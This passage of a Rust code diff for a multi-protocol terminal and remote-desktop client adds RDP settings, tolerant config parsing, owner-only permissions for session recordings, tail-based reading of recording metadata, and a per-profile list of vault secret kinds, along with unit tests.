pub(crate) struct Noise(u64);
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
impl Noise {
|
||||||
|
pub fn new(seed: u64) -> Noise {
|
||||||
|
Noise(seed | 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn next(&mut self) -> u64 {
|
||||||
|
// xorshift64
|
||||||
|
self.0 ^= self.0 << 13;
|
||||||
|
self.0 ^= self.0 >> 7;
|
||||||
|
self.0 ^= self.0 << 17;
|
||||||
|
self.0
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn below(&mut self, n: usize) -> usize {
|
||||||
|
(self.next() % n as u64) as usize
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Up to `max` bytes, mostly drawn from `alphabet` (the bytes a parser cares about) and
|
||||||
|
/// otherwise uniformly random.
|
||||||
|
pub fn bytes(&mut self, max: usize, alphabet: &[u8]) -> Vec<u8> {
|
||||||
|
let n = self.below(max + 1);
|
||||||
|
(0..n).map(|_| if self.below(3) > 0 { alphabet[self.below(alphabet.len())] } else { self.next() as u8 }).collect()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
+118
-6
@@ -1,5 +1,5 @@
|
|||||||
//! Data model shared by storage, the session manager and the UI. Field names serialise exactly as
|
//! Data model shared by storage, the session manager and the UI. Field names are the JSON keys
|
||||||
//! the Go structs did, so database JSON columns and `.link`/`.nexus` exports round-trip unchanged.
|
//! used in the database's config columns and in `.nexus` exports.
|
||||||
|
|
||||||
use chrono::{DateTime, FixedOffset, Local};
|
use chrono::{DateTime, FixedOffset, Local};
|
||||||
use serde::{Deserialize, Deserializer, Serialize};
|
use serde::{Deserialize, Deserializer, Serialize};
|
||||||
@@ -10,6 +10,7 @@ pub const DEFAULT_TELNET_PORT: u16 = 23;
|
|||||||
pub const DEFAULT_RAW_PORT: u16 = 23;
|
pub const DEFAULT_RAW_PORT: u16 = 23;
|
||||||
pub const DEFAULT_GITHUB_PORT: u16 = 443;
|
pub const DEFAULT_GITHUB_PORT: u16 = 443;
|
||||||
pub const DEFAULT_VNC_PORT: u16 = 5900;
|
pub const DEFAULT_VNC_PORT: u16 = 5900;
|
||||||
|
pub const DEFAULT_RDP_PORT: u16 = 3389;
|
||||||
pub const DEFAULT_IRC_PORT: u16 = 6667;
|
pub const DEFAULT_IRC_PORT: u16 = 6667;
|
||||||
pub const DEFAULT_IRC_TLS_PORT: u16 = 6697;
|
pub const DEFAULT_IRC_TLS_PORT: u16 = 6697;
|
||||||
pub const DEFAULT_CONNECT_TIMEOUT: i64 = 30;
|
pub const DEFAULT_CONNECT_TIMEOUT: i64 = 30;
|
||||||
@@ -37,6 +38,12 @@ fn nd<'de, D: Deserializer<'de>, T: Default + Deserialize<'de>>(d: D) -> Result<
|
|||||||
Ok(Option::<T>::deserialize(d)?.unwrap_or_default())
|
Ok(Option::<T>::deserialize(d)?.unwrap_or_default())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// For enum fields: an unknown value (e.g. written by a newer build) falls back to the default
|
||||||
|
/// for that field instead of failing the whole config, which would reset every other setting.
|
||||||
|
fn lenient<'de, D: Deserializer<'de>, T: Default + serde::de::DeserializeOwned>(d: D) -> Result<T, D::Error> {
|
||||||
|
Ok(Option::<serde_json::Value>::deserialize(d)?.and_then(|v| T::deserialize(v).ok()).unwrap_or_default())
|
||||||
|
}
|
||||||
|
|
||||||
#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize, Default)]
|
#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize, Default)]
|
||||||
#[serde(rename_all = "lowercase")]
|
#[serde(rename_all = "lowercase")]
|
||||||
pub enum Protocol {
|
pub enum Protocol {
|
||||||
@@ -46,13 +53,15 @@ pub enum Protocol {
|
|||||||
Raw,
|
Raw,
|
||||||
Github,
|
Github,
|
||||||
Vnc,
|
Vnc,
|
||||||
|
Rdp,
|
||||||
Irc,
|
Irc,
|
||||||
Serial,
|
Serial,
|
||||||
Local,
|
Local,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Protocol {
|
impl Protocol {
|
||||||
pub const SAVED: [Protocol; 7] = [Protocol::Ssh, Protocol::Telnet, Protocol::Raw, Protocol::Github, Protocol::Vnc, Protocol::Irc, Protocol::Serial];
|
pub const SAVED: [Protocol; 8] =
|
||||||
|
[Protocol::Ssh, Protocol::Telnet, Protocol::Raw, Protocol::Github, Protocol::Vnc, Protocol::Rdp, Protocol::Irc, Protocol::Serial];
|
||||||
pub fn id(self) -> &'static str {
|
pub fn id(self) -> &'static str {
|
||||||
match self {
|
match self {
|
||||||
Protocol::Ssh => "ssh",
|
Protocol::Ssh => "ssh",
|
||||||
@@ -60,6 +69,7 @@ impl Protocol {
|
|||||||
Protocol::Raw => "raw",
|
Protocol::Raw => "raw",
|
||||||
Protocol::Github => "github",
|
Protocol::Github => "github",
|
||||||
Protocol::Vnc => "vnc",
|
Protocol::Vnc => "vnc",
|
||||||
|
Protocol::Rdp => "rdp",
|
||||||
Protocol::Irc => "irc",
|
Protocol::Irc => "irc",
|
||||||
Protocol::Serial => "serial",
|
Protocol::Serial => "serial",
|
||||||
Protocol::Local => "local",
|
Protocol::Local => "local",
|
||||||
@@ -75,6 +85,7 @@ impl Protocol {
|
|||||||
Protocol::Raw => "RAW TCP",
|
Protocol::Raw => "RAW TCP",
|
||||||
Protocol::Github => "GitHub",
|
Protocol::Github => "GitHub",
|
||||||
Protocol::Vnc => "VNC",
|
Protocol::Vnc => "VNC",
|
||||||
|
Protocol::Rdp => "RDP",
|
||||||
Protocol::Irc => "IRC",
|
Protocol::Irc => "IRC",
|
||||||
Protocol::Serial => "Serial",
|
Protocol::Serial => "Serial",
|
||||||
Protocol::Local => "Local",
|
Protocol::Local => "Local",
|
||||||
@@ -231,6 +242,8 @@ pub struct Profile {
|
|||||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||||
pub vnc: Option<VncConfig>,
|
pub vnc: Option<VncConfig>,
|
||||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||||
|
pub rdp: Option<RdpConfig>,
|
||||||
|
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||||
pub irc: Option<IrcConfig>,
|
pub irc: Option<IrcConfig>,
|
||||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||||
pub serial: Option<SerialConfig>,
|
pub serial: Option<SerialConfig>,
|
||||||
@@ -244,6 +257,7 @@ pub struct SshConfig {
|
|||||||
pub secret_mode: SecretMode,
|
pub secret_mode: SecretMode,
|
||||||
pub private_key_path: String,
|
pub private_key_path: String,
|
||||||
pub key_secret_mode: SecretMode,
|
pub key_secret_mode: SecretMode,
|
||||||
|
#[serde(deserialize_with = "lenient")]
|
||||||
pub host_key_policy: HostKeyPolicy,
|
pub host_key_policy: HostKeyPolicy,
|
||||||
pub terminal_type: String,
|
pub terminal_type: String,
|
||||||
pub keepalive_interval: i64,
|
pub keepalive_interval: i64,
|
||||||
@@ -255,13 +269,10 @@ pub struct SshConfig {
|
|||||||
pub max_reconnect_tries: i64,
|
pub max_reconnect_tries: i64,
|
||||||
#[serde(deserialize_with = "nd")]
|
#[serde(deserialize_with = "nd")]
|
||||||
pub login_scripts: Vec<LoginScriptStep>,
|
pub login_scripts: Vec<LoginScriptStep>,
|
||||||
#[serde(rename = "totpSecret")]
|
|
||||||
pub totp_secret: String,
|
|
||||||
pub proxy_type: String,
|
pub proxy_type: String,
|
||||||
pub proxy_host: String,
|
pub proxy_host: String,
|
||||||
pub proxy_port: i64,
|
pub proxy_port: i64,
|
||||||
pub proxy_username: String,
|
pub proxy_username: String,
|
||||||
pub proxy_password: String,
|
|
||||||
#[serde(deserialize_with = "nd")]
|
#[serde(deserialize_with = "nd")]
|
||||||
pub jump_hosts: Vec<JumpHost>,
|
pub jump_hosts: Vec<JumpHost>,
|
||||||
#[serde(deserialize_with = "nd")]
|
#[serde(deserialize_with = "nd")]
|
||||||
@@ -303,6 +314,7 @@ pub enum ForwardDirection {
|
|||||||
#[serde(rename_all = "camelCase", default)]
|
#[serde(rename_all = "camelCase", default)]
|
||||||
pub struct PortForward {
|
pub struct PortForward {
|
||||||
pub id: String,
|
pub id: String,
|
||||||
|
#[serde(deserialize_with = "lenient")]
|
||||||
pub direction: ForwardDirection,
|
pub direction: ForwardDirection,
|
||||||
pub bind_host: String,
|
pub bind_host: String,
|
||||||
pub bind_port: i64,
|
pub bind_port: i64,
|
||||||
@@ -316,6 +328,7 @@ pub struct PortForward {
|
|||||||
#[serde(rename_all = "camelCase", default)]
|
#[serde(rename_all = "camelCase", default)]
|
||||||
pub struct TelnetConfig {
|
pub struct TelnetConfig {
|
||||||
pub local_echo: bool,
|
pub local_echo: bool,
|
||||||
|
#[serde(deserialize_with = "lenient")]
|
||||||
pub line_ending: LineEnding,
|
pub line_ending: LineEnding,
|
||||||
pub terminal_type: String,
|
pub terminal_type: String,
|
||||||
pub encoding: String,
|
pub encoding: String,
|
||||||
@@ -331,6 +344,7 @@ pub struct TelnetConfig {
|
|||||||
#[serde(rename_all = "camelCase", default)]
|
#[serde(rename_all = "camelCase", default)]
|
||||||
pub struct RawConfig {
|
pub struct RawConfig {
|
||||||
pub auto_reconnect: bool,
|
pub auto_reconnect: bool,
|
||||||
|
#[serde(deserialize_with = "lenient")]
|
||||||
pub line_ending: LineEnding,
|
pub line_ending: LineEnding,
|
||||||
pub encoding: String,
|
pub encoding: String,
|
||||||
pub show_timestamps: bool,
|
pub show_timestamps: bool,
|
||||||
@@ -380,6 +394,53 @@ pub struct VncConfig {
|
|||||||
pub ssh_agent_auth: bool,
|
pub ssh_agent_auth: bool,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// RDP connection settings; host, port and username are the profile's own.
|
||||||
|
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, Default)]
|
||||||
|
#[serde(rename_all = "camelCase", default)]
|
||||||
|
pub struct RdpConfig {
|
||||||
|
pub domain: String,
|
||||||
|
pub secret_mode: SecretMode,
|
||||||
|
/// Initial desktop size; 0×0 follows the tab's size.
|
||||||
|
pub width: i64,
|
||||||
|
pub height: i64,
|
||||||
|
pub scale_to_fit: bool,
|
||||||
|
/// Resize the remote desktop with the tab (Display Control); otherwise scale the image.
|
||||||
|
pub dynamic_resolution: bool,
|
||||||
|
/// Allow plain TLS logon for servers without Network Level Authentication (e.g. xrdp).
|
||||||
|
#[serde(rename = "allowTLSOnly")]
|
||||||
|
pub allow_tls_only: bool,
|
||||||
|
/// Trust policy for the server's TLS certificate (pinned like an SSH host key).
|
||||||
|
#[serde(deserialize_with = "lenient")]
|
||||||
|
pub host_key_policy: HostKeyPolicy,
|
||||||
|
/// "none", "socks5" or "http"; the password is a stored secret.
|
||||||
|
pub proxy_type: String,
|
||||||
|
pub proxy_host: String,
|
||||||
|
pub proxy_port: i64,
|
||||||
|
pub proxy_username: String,
|
||||||
|
pub ssh_tunnel: bool,
|
||||||
|
pub ssh_host: String,
|
||||||
|
pub ssh_port: i64,
|
||||||
|
pub ssh_username: String,
|
||||||
|
pub ssh_auth_method: String,
|
||||||
|
pub ssh_secret_mode: SecretMode,
|
||||||
|
#[serde(rename = "sshPrivateKeyPath")]
|
||||||
|
pub ssh_private_key: String,
|
||||||
|
pub ssh_agent_auth: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RdpConfig {
|
||||||
|
pub fn defaults() -> Self {
|
||||||
|
RdpConfig {
|
||||||
|
scale_to_fit: true,
|
||||||
|
dynamic_resolution: true,
|
||||||
|
proxy_type: "none".into(),
|
||||||
|
ssh_port: DEFAULT_SSH_PORT.into(),
|
||||||
|
ssh_auth_method: "publickey".into(),
|
||||||
|
..Default::default()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, Default)]
|
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, Default)]
|
||||||
#[serde(rename_all = "camelCase", default)]
|
#[serde(rename_all = "camelCase", default)]
|
||||||
pub struct IrcConfig {
|
pub struct IrcConfig {
|
||||||
@@ -431,9 +492,12 @@ pub enum FlowControl {
|
|||||||
pub struct SerialConfig {
|
pub struct SerialConfig {
|
||||||
pub baud_rate: u32,
|
pub baud_rate: u32,
|
||||||
pub data_bits: u8,
|
pub data_bits: u8,
|
||||||
|
#[serde(deserialize_with = "lenient")]
|
||||||
pub parity: Parity,
|
pub parity: Parity,
|
||||||
pub stop_bits: u8,
|
pub stop_bits: u8,
|
||||||
|
#[serde(deserialize_with = "lenient")]
|
||||||
pub flow_control: FlowControl,
|
pub flow_control: FlowControl,
|
||||||
|
#[serde(deserialize_with = "lenient")]
|
||||||
pub line_ending: LineEnding,
|
pub line_ending: LineEnding,
|
||||||
pub local_echo: bool,
|
pub local_echo: bool,
|
||||||
pub dtr_on_connect: bool,
|
pub dtr_on_connect: bool,
|
||||||
@@ -538,6 +602,12 @@ pub struct AppPreferences {
|
|||||||
pub default_cursor_style: String,
|
pub default_cursor_style: String,
|
||||||
pub use_native_paste: bool,
|
pub use_native_paste: bool,
|
||||||
pub local_shell: String,
|
pub local_shell: String,
|
||||||
|
/// Check the update manifest once at launch.
|
||||||
|
pub check_for_updates: bool,
|
||||||
|
/// Let remote hosts set the local clipboard (terminal OSC 52, VNC ServerCutText).
|
||||||
|
pub allow_remote_clipboard: bool,
|
||||||
|
/// Ask before pasting multi-line text into a terminal that isn't in bracketed-paste mode.
|
||||||
|
pub confirm_multiline_paste: bool,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Default for AppPreferences {
|
impl Default for AppPreferences {
|
||||||
@@ -556,6 +626,9 @@ impl Default for AppPreferences {
|
|||||||
default_cursor_style: DEFAULT_CURSOR_STYLE.into(),
|
default_cursor_style: DEFAULT_CURSOR_STYLE.into(),
|
||||||
use_native_paste: false,
|
use_native_paste: false,
|
||||||
local_shell: String::new(),
|
local_shell: String::new(),
|
||||||
|
check_for_updates: true,
|
||||||
|
allow_remote_clipboard: true,
|
||||||
|
confirm_multiline_paste: true,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -648,6 +721,7 @@ impl Profile {
|
|||||||
raw: None,
|
raw: None,
|
||||||
github: None,
|
github: None,
|
||||||
vnc: None,
|
vnc: None,
|
||||||
|
rdp: None,
|
||||||
irc: None,
|
irc: None,
|
||||||
serial: None,
|
serial: None,
|
||||||
};
|
};
|
||||||
@@ -673,6 +747,10 @@ impl Profile {
|
|||||||
p.port = DEFAULT_VNC_PORT.into();
|
p.port = DEFAULT_VNC_PORT.into();
|
||||||
p.vnc = Some(VncConfig::defaults());
|
p.vnc = Some(VncConfig::defaults());
|
||||||
}
|
}
|
||||||
|
Protocol::Rdp => {
|
||||||
|
p.port = DEFAULT_RDP_PORT.into();
|
||||||
|
p.rdp = Some(RdpConfig::defaults());
|
||||||
|
}
|
||||||
Protocol::Irc => {
|
Protocol::Irc => {
|
||||||
p.port = DEFAULT_IRC_PORT.into();
|
p.port = DEFAULT_IRC_PORT.into();
|
||||||
p.irc = Some(IrcConfig::defaults());
|
p.irc = Some(IrcConfig::defaults());
|
||||||
@@ -782,6 +860,18 @@ impl Profile {
|
|||||||
c.ssh_auth_method = "publickey".into();
|
c.ssh_auth_method = "publickey".into();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Protocol::Rdp => {
|
||||||
|
let c = self.rdp.get_or_insert_with(RdpConfig::defaults);
|
||||||
|
if c.ssh_port == 0 {
|
||||||
|
c.ssh_port = DEFAULT_SSH_PORT.into();
|
||||||
|
}
|
||||||
|
if c.ssh_auth_method.is_empty() {
|
||||||
|
c.ssh_auth_method = "publickey".into();
|
||||||
|
}
|
||||||
|
if c.proxy_type.is_empty() {
|
||||||
|
c.proxy_type = "none".into();
|
||||||
|
}
|
||||||
|
}
|
||||||
Protocol::Irc => {
|
Protocol::Irc => {
|
||||||
let c = self.irc.get_or_insert_with(IrcConfig::defaults);
|
let c = self.irc.get_or_insert_with(IrcConfig::defaults);
|
||||||
if c.nick.is_empty() {
|
if c.nick.is_empty() {
|
||||||
@@ -910,3 +1000,25 @@ impl IrcConfig {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn profiles_never_carry_proxy_passwords_or_totp_seeds() {
|
||||||
|
let c: SshConfig = serde_json::from_str(r#"{"proxyPassword":"p","totpSecret":"JBSWY3DPEHPK3PXP","proxyUsername":"u"}"#).unwrap();
|
||||||
|
let out = serde_json::to_string(&c).unwrap();
|
||||||
|
assert!(!out.contains("proxyPassword") && !out.contains("totpSecret") && out.contains("\"proxyUsername\":\"u\""), "{out}");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn unknown_enum_values_fall_back_per_field() {
|
||||||
|
let c: SshConfig = serde_json::from_str(r#"{"hostKeyPolicy":"from-the-future","keepaliveInterval":42,"agentForwarding":true}"#).unwrap();
|
||||||
|
assert_eq!((c.host_key_policy, c.keepalive_interval, c.agent_forwarding), (HostKeyPolicy::Ask, 42, true));
|
||||||
|
let c: SshConfig = serde_json::from_str(r#"{"hostKeyPolicy":"strict"}"#).unwrap();
|
||||||
|
assert_eq!(c.host_key_policy, HostKeyPolicy::Strict);
|
||||||
|
let t: TelnetConfig = serde_json::from_str(r#"{"lineEnding":"weird","localEcho":true}"#).unwrap();
|
||||||
|
assert_eq!((t.line_ending, t.local_echo), (LineEnding::default(), true));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
+57
-33
@@ -3,12 +3,12 @@
|
|||||||
|
|
||||||
use crate::Result;
|
use crate::Result;
|
||||||
use crate::models::Time;
|
use crate::models::Time;
|
||||||
|
use parking_lot::Mutex;
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
use std::collections::BTreeMap;
|
use std::collections::BTreeMap;
|
||||||
use std::fs::File;
|
use std::fs::File;
|
||||||
use std::io::{Read, Write};
|
use std::io::{BufRead, BufReader, Read, Seek, SeekFrom, Write};
|
||||||
use std::path::{Path, PathBuf};
|
use std::path::{Path, PathBuf};
|
||||||
use std::sync::Mutex;
|
|
||||||
use std::time::Instant;
|
use std::time::Instant;
|
||||||
|
|
||||||
pub const EVENT_OUTPUT: &str = "o";
|
pub const EVENT_OUTPUT: &str = "o";
|
||||||
@@ -116,7 +116,12 @@ impl Recorder {
|
|||||||
fn with_limit(dir: &Path, id: &str, title: &str, cols: i64, rows: i64, max_bytes: u64) -> Result<Recorder> {
|
fn with_limit(dir: &Path, id: &str, title: &str, cols: i64, rows: i64, max_bytes: u64) -> Result<Recorder> {
|
||||||
mkdir_private(dir).map_err(|e| format!("recording: failed to create directory: {e}"))?;
|
mkdir_private(dir).map_err(|e| format!("recording: failed to create directory: {e}"))?;
|
||||||
let path = dir.join(format!("{id}.cast"));
|
let path = dir.join(format!("{id}.cast"));
|
||||||
let mut f = File::create(&path).map_err(|e| format!("recording: failed to create file: {e}"))?;
|
// Recordings capture typed input (passwords included): owner-only, like the vault.
|
||||||
|
let mut opts = std::fs::OpenOptions::new();
|
||||||
|
opts.write(true).create(true).truncate(true);
|
||||||
|
#[cfg(unix)]
|
||||||
|
std::os::unix::fs::OpenOptionsExt::mode(&mut opts, 0o600);
|
||||||
|
let mut f = opts.open(&path).map_err(|e| format!("recording: failed to create file: {e}"))?;
|
||||||
let start = Instant::now();
|
let start = Instant::now();
|
||||||
let hdr = Header {
|
let hdr = Header {
|
||||||
version: 2,
|
version: 2,
|
||||||
@@ -151,7 +156,7 @@ impl Recorder {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn write_event(&self, kind: &str, data: &[u8]) {
|
fn write_event(&self, kind: &str, data: &[u8]) {
|
||||||
let mut g = self.inner.lock().unwrap();
|
let mut g = self.inner.lock();
|
||||||
if g.closed || g.file.is_none() {
|
if g.closed || g.file.is_none() {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -172,7 +177,7 @@ impl Recorder {
|
|||||||
|
|
||||||
/// Flushes and closes the file. Idempotent.
|
/// Flushes and closes the file. Idempotent.
|
||||||
pub fn close(&self) -> Result<()> {
|
pub fn close(&self) -> Result<()> {
|
||||||
let mut g = self.inner.lock().unwrap();
|
let mut g = self.inner.lock();
|
||||||
if g.closed {
|
if g.closed {
|
||||||
return Ok(());
|
return Ok(());
|
||||||
}
|
}
|
||||||
@@ -193,7 +198,7 @@ impl Recorder {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn event_count(&self) -> usize {
|
pub fn event_count(&self) -> usize {
|
||||||
self.inner.lock().unwrap().event_count
|
self.inner.lock().event_count
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -323,22 +328,32 @@ impl Store {
|
|||||||
Ok(self.dir.join(format!("{id}.cast")))
|
Ok(self.dir.join(format!("{id}.cast")))
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Header fields plus the last event's timestamp as the duration.
|
/// Header fields plus the last event's timestamp as the duration. Reads the header line and
|
||||||
|
/// the file's tail rather than the whole recording (they can be hundreds of MiB).
|
||||||
fn read_meta(&self, filename: &str) -> Result<RecordingMeta> {
|
fn read_meta(&self, filename: &str) -> Result<RecordingMeta> {
|
||||||
|
const TAIL: u64 = 64 << 10;
|
||||||
let path = self.dir.join(filename);
|
let path = self.dir.join(filename);
|
||||||
let mut f = File::open(&path)?;
|
let mut f = BufReader::new(File::open(&path)?);
|
||||||
let size = f.metadata()?.len();
|
let size = f.get_ref().metadata()?.len();
|
||||||
let mut raw = Vec::new();
|
let mut head = Vec::new();
|
||||||
f.read_to_end(&mut raw)?;
|
f.by_ref().take(1 << 20).read_until(b'\n', &mut head)?;
|
||||||
let mut values = serde_json::Deserializer::from_slice(&raw).into_iter::<serde_json::Value>();
|
if head.iter().all(u8::is_ascii_whitespace) {
|
||||||
let hdr: Header = serde_json::from_value(values.next().ok_or("recording: empty file")??)?;
|
return Err("recording: empty file".into());
|
||||||
let mut duration = 0.0;
|
}
|
||||||
for v in values {
|
let hdr: Header = serde_json::from_slice(&head)?;
|
||||||
let Ok(v) = v else { break };
|
let body = head.len() as u64;
|
||||||
if let Some(e) = v.get(0).and_then(|e| e.as_f64()) {
|
let mut duration = None;
|
||||||
duration = e;
|
// The tail first; if one event is longer than the window, fall back to the whole body.
|
||||||
|
for start in [size.saturating_sub(TAIL).max(body), body] {
|
||||||
|
let mut tail = Vec::new();
|
||||||
|
f.seek(SeekFrom::Start(start))?;
|
||||||
|
f.read_to_end(&mut tail)?;
|
||||||
|
duration = tail.split(|b| *b == b'\n').rev().find_map(|l| serde_json::from_slice::<serde_json::Value>(l).ok()?.get(0)?.as_f64());
|
||||||
|
if duration.is_some() || start == body {
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
let duration = duration.unwrap_or(0.0);
|
||||||
let id = filename.trim_end_matches(".cast").to_string();
|
let id = filename.trim_end_matches(".cast").to_string();
|
||||||
let created_at = chrono::DateTime::from_timestamp(hdr.timestamp, 0).ok_or("recording: invalid timestamp")?.with_timezone(&chrono::Local).fixed_offset();
|
let created_at = chrono::DateTime::from_timestamp(hdr.timestamp, 0).ok_or("recording: invalid timestamp")?.with_timezone(&chrono::Local).fixed_offset();
|
||||||
Ok(RecordingMeta {
|
Ok(RecordingMeta {
|
||||||
@@ -365,21 +380,6 @@ mod tests {
|
|||||||
d
|
d
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn reads_go_fixture() {
|
|
||||||
let store = Store::new(PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/recordings"));
|
|
||||||
let (hdr, events) = store.get("rec1").unwrap();
|
|
||||||
assert_eq!((hdr.version, hdr.width, hdr.height, hdr.timestamp), (2, 80, 24, 1791633486));
|
|
||||||
assert_eq!(hdr.title, "Fixture — host");
|
|
||||||
assert_eq!(hdr.env["TERM"], "xterm-256color");
|
|
||||||
assert_eq!(events.len(), 2);
|
|
||||||
assert_eq!((events[0].kind.as_str(), events[0].data.as_str()), ("o", "hello \x1b[1mworld\x1b[0m\r\n"));
|
|
||||||
assert_eq!((events[1].kind.as_str(), events[1].data.as_str()), ("i", "ls\r"));
|
|
||||||
let metas = store.list().unwrap();
|
|
||||||
assert_eq!(metas.len(), 1);
|
|
||||||
assert_eq!(metas[0].duration, 0.000212149);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn write_and_close() {
|
fn write_and_close() {
|
||||||
let dir = tmp("write");
|
let dir = tmp("write");
|
||||||
@@ -391,6 +391,11 @@ mod tests {
|
|||||||
assert_eq!(rec.event_count(), 4);
|
assert_eq!(rec.event_count(), 4);
|
||||||
rec.close().unwrap();
|
rec.close().unwrap();
|
||||||
rec.close().unwrap(); // double close is a no-op
|
rec.close().unwrap(); // double close is a no-op
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
let mode = std::os::unix::fs::PermissionsExt::mode(&std::fs::metadata(dir.join("test-session-001.cast")).unwrap().permissions());
|
||||||
|
assert_eq!(mode & 0o777, 0o600);
|
||||||
|
}
|
||||||
let text = std::fs::read_to_string(dir.join("test-session-001.cast")).unwrap();
|
let text = std::fs::read_to_string(dir.join("test-session-001.cast")).unwrap();
|
||||||
let lines: Vec<&str> = text.trim().lines().collect();
|
let lines: Vec<&str> = text.trim().lines().collect();
|
||||||
assert_eq!(lines.len(), 5);
|
assert_eq!(lines.len(), 5);
|
||||||
@@ -421,6 +426,25 @@ mod tests {
|
|||||||
std::fs::remove_dir_all(dir).unwrap();
|
std::fs::remove_dir_all(dir).unwrap();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn duration_comes_from_the_tail_even_with_long_events() {
|
||||||
|
let dir = tmp("tail");
|
||||||
|
std::fs::create_dir_all(&dir).unwrap();
|
||||||
|
let hdr = r#"{"version":2,"width":80,"height":24,"timestamp":1791633486}"#;
|
||||||
|
let mut many = format!("{hdr}\n");
|
||||||
|
for i in 0..20_000 {
|
||||||
|
many.push_str(&format!("[{}.5, \"o\", \"line {i}\\r\\n\"]\n", i));
|
||||||
|
}
|
||||||
|
std::fs::write(dir.join("many.cast"), many).unwrap();
|
||||||
|
// The last event alone is bigger than the tail window.
|
||||||
|
std::fs::write(dir.join("long.cast"), format!("{hdr}\n[1.0, \"o\", \"a\"]\n[7.25, \"o\", \"{}\"]\n", "x".repeat(200 << 10))).unwrap();
|
||||||
|
std::fs::write(dir.join("bare.cast"), format!("{hdr}\n")).unwrap();
|
||||||
|
let metas = Store::new(&dir).list().unwrap();
|
||||||
|
let d = |id: &str| metas.iter().find(|m| m.id == id).unwrap().duration;
|
||||||
|
assert_eq!((d("many"), d("long"), d("bare")), (19_999.5, 7.25, 0.0));
|
||||||
|
std::fs::remove_dir_all(dir).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn stops_at_size_limit() {
|
fn stops_at_size_limit() {
|
||||||
let dir = tmp("limit");
|
let dir = tmp("limit");
|
||||||
|
|||||||
+188
-63
@@ -6,21 +6,89 @@ use aes_gcm::aead::{Aead, KeyInit};
|
|||||||
use aes_gcm::{Aes256Gcm, Nonce};
|
use aes_gcm::{Aes256Gcm, Nonce};
|
||||||
use base64::Engine;
|
use base64::Engine;
|
||||||
use base64::engine::general_purpose::STANDARD as B64;
|
use base64::engine::general_purpose::STANDARD as B64;
|
||||||
|
use parking_lot::Mutex;
|
||||||
use rand::RngCore;
|
use rand::RngCore;
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
use std::collections::BTreeMap;
|
use std::collections::BTreeMap;
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::sync::Mutex;
|
use zeroize::Zeroizing;
|
||||||
|
|
||||||
const VAULT_FILE: &str = "vault.json";
|
const VAULT_FILE: &str = "vault.json";
|
||||||
const MAX_VAULT_BYTES: u64 = 10 * 1024 * 1024;
|
const MAX_VAULT_BYTES: u64 = 10 * 1024 * 1024;
|
||||||
|
|
||||||
/// Argon2id with the Go parameters: t=3, m=128 MiB, p=4, 32-byte key.
|
/// A credential stored per profile under `profile:<id>:<kind>`.
|
||||||
pub fn derive_key(password: &str, salt: &[u8]) -> Result<[u8; 32]> {
|
#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord, Hash)]
|
||||||
|
pub enum SecretKind {
|
||||||
|
Password,
|
||||||
|
Passphrase,
|
||||||
|
Totp,
|
||||||
|
GithubToken,
|
||||||
|
VncPassword,
|
||||||
|
VncSshPassword,
|
||||||
|
VncSshPassphrase,
|
||||||
|
IrcServerPassword,
|
||||||
|
IrcNickServPassword,
|
||||||
|
IrcSshPassword,
|
||||||
|
IrcSshPassphrase,
|
||||||
|
ProxyPassword,
|
||||||
|
RdpPassword,
|
||||||
|
RdpSshPassword,
|
||||||
|
RdpSshPassphrase,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SecretKind {
|
||||||
|
/// Every kind, so deleting a profile can purge them all from the keychain. A new variant
|
||||||
|
/// must be added here as well as to `as_str`.
|
||||||
|
pub const ALL: [SecretKind; 15] = [
|
||||||
|
Self::Password,
|
||||||
|
Self::Passphrase,
|
||||||
|
